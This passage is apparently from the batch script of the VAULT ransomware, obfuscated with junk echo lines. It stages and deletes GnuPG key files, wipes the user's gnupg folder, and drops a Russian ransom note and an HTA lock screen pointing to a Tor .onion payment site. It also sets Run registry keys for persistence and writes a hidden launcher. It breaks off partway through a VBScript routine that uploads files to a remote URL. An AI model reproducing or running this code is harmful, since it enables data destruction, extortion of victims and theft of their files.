    echo T8eQewUvebR4fraThaKu2uqase85xe8u >nul
    echo wrasatuNabrefr8stubruxuhAreCHapr >nul
    goto 6d0f24b8
    )
    echo.>> "%temp%\VAULT.KEY"
    echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY"
    echo 2hUwaJe7enacePrek25payEneteyuThU >nul
    echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
    echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY"
    echo 2hUwaJe7enacePrek25payEneteyuThU >nul
    echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
    echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY"
    echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY"
    echo 2hUwaJe7enacePrek25payEneteyuThU >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
    echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY"
    echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY"
    echo 2hUwaJe7enacePrek25payEneteyuThU >nul
    echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
    
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq"
    echo 2hUwaJe7enacePrek25payEneteyuThU >nul
    echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    move /y "%temp%\secring.qpq" "%temp%\secring.gpg"
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq"
    move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\secring.gpg"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    del /f /q "%temp%\3637bf69.36ddf8fe"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    del /f /q "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\trustdb.gpg"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    del /f /q "%temp%\secring.gpg"
    del /f /q "%temp%\*.lock"
    del /f /q "%temp%\*.bak"
    attrib -s -h -r "%AppData%\gnupg\*.*"
    attrib -s -h -r "%AppData%\gnupg"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    del /f /q "%AppData%\gnupg\*.*"
    rmdir /s /q "%AppData%\gnupg"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY"
    copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY"
    echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
    echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
    copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY"
    echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY"
    attrib +r "%temp%\4077430c_VAULT.KEY"
    copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY"
    echo.> "%temp%\VAULT.txt"
    echo Ваши рабочие документы и базы данных были заблокированы и помечены форматом .vаult >> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
    echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    
    echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb
    echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge
    echo Для их восстановления необходимо получить уникальный ключ>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo.>> "%temp%\VAULT.txt"
    echo   ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: >> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo.>> "%temp%\VAULT.txt"
    echo КРАТКО>> "%temp%\VAULT.txt"
    echo 1. Перейдите на наш веб-ресурс>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo 2. Гарантированно получите Ваш ключ>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo 3. Восстановите файлы в прежний вид>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo ДЕТАЛЬНО>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo   Шаг 1:>> "%temp%\VAULT.txt"
    echo Скачайте Tor браузер с официального сайта: http://torproject.org>> "%temp%\VAULT.txt"
    echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
    echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
    echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
    echo   Шаг 2:>> "%temp%\VAULT.txt"
    echo Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt"
    echo   Шаг 3:>> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его>> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo Авторизируйтесь на сайте используя ключ VAULT.KEY>> "%temp%\VAULT.txt"
    echo Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой>> "%temp%\VAULT.txt"
    echo   STEP 4:>> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ДОПОЛНИТЕЛЬНО>> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo a^) Вы не сможете восстановить файлы без уникального ключа ^(который безопасно хранится на нашем сервере^)>> "%temp%\VAULT.txt"
    echo b^) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP >> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo c^) Ваша стоимость восстановления не окончательная, пишите в чат>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo   Дата блокировки: %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt"
    copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt"
    attrib +h "%userprofile%\Desktop\vault.txt"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    
    echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb
    echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg"
    echo WabrUswUrafuThezUzusw6gEgephubAS >nul
    echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js"
    call "%temp%\4c2e533d.cmd"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta"
    
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta"
    echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta"
    echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta"
    echo end sub >> "%temp%\ddae25beb5b57d6e.hta"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>Ваши документы и базы данных были зашифрованы и помещены в^<br^>^☢^ ^<b^>формат .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>Для их восстановления необходимо получить ^<b^>Ваш ключ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>Кратко:^</b^>^</div^>^<div class="sced"^>Необходимо произвести 3 шага:^<hr^> ^➠ Перейдите на наш веб-ресурс^<br^> ^Ⓑ Получите свой ключ^<br^>^⤷ ^<b^>Восстановите файлы^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>Детально:^</b^>^</div^>^<div class="sced"^>Скачайте ^<b^>Tor^</b^> браузер с оф. сайта ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ Загрузить"^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"^>^</form^>^<hr^>Перейдите на наш сайт ^<b^>используя Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value="Не работает?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^>Авторизируйтесь ^ ^➤^  ^<b^>Прочитайте отзывы^</b^> ^ ^➤^  Ключ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^> Вы не сможете восстановить файлы без уникального ключа.^</div^>^<div class="footer"^>^<b^>Note 2:^</b^> Перед авторизацией, Вы ^<u^>должны^</u^> найти Ваш ^<b^>VAULT.KEY^</b^> на компьютере.^</div^>^<div class="footer"^>^<b^>Note 3: Стоимость полного восстановления на ресурсе не окончательная^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    del /f /q "%temp%\4c2e533d.cmd"
    attrib +h "%appdata%\ddae25beb5b57d6e.hta"
    attrib +r +s "%temp%\VAULT.KEY"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    attrib +r +s "%appdata%\VAULT.KEY"
    attrib +r +s "%userprofile%\Desktop\VAULT.KEY"
    :6d0f24b8
    echo do_vbsUpload > "%temp%\77406a1e.vbs"
    echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs"
    echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo FieldName="FileField" >> "%temp%\77406a1e.vbs"
    echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs"
    echo aCounter=1 >> "%temp%\77406a1e.vbs"
    echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs"
    echo Select Case aCounter >> "%temp%\77406a1e.vbs"
    echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs"
    echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs"
    echo End Select >> "%temp%\77406a1e.vbs"
    echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
    echo 8resWe46Dra2ejed5EgefracraVUweth >nul
    echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs"
    echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs"
    echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs"
    echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs"
    echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs"
    echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Open >> "%temp%\77406a1e.vbs"
    echo RS.AddNew >> "%temp%\77406a1e.vbs"
    echo Dim LenData >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Update >> "%temp%\77406a1e.vbs"
    echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs"
    echo RS.Close >> "%temp%\77406a1e.vbs"
    echo BuildFormData=FormData >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs"
    echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb
    echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge
    echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo do While IE.Busy >> "%temp%\77406a1e.vbs"
    echo Wait >> "%temp%\77406a1e.vbs"
    echo Loop >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo IE.Quit >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Dim MPtemplate >> "%temp%\77406a1e.vbs"
    echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs"
    echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs"
    echo Dim Out >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs"
    echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs"
    echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs"
    echo Stream.Type=1 >> "%temp%\77406a1e.vbs"
    echo Stream.Open >> "%temp%\77406a1e.vbs"
    echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs"
    echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs"
    echo Stream.Close >> "%temp%\77406a1e.vbs"
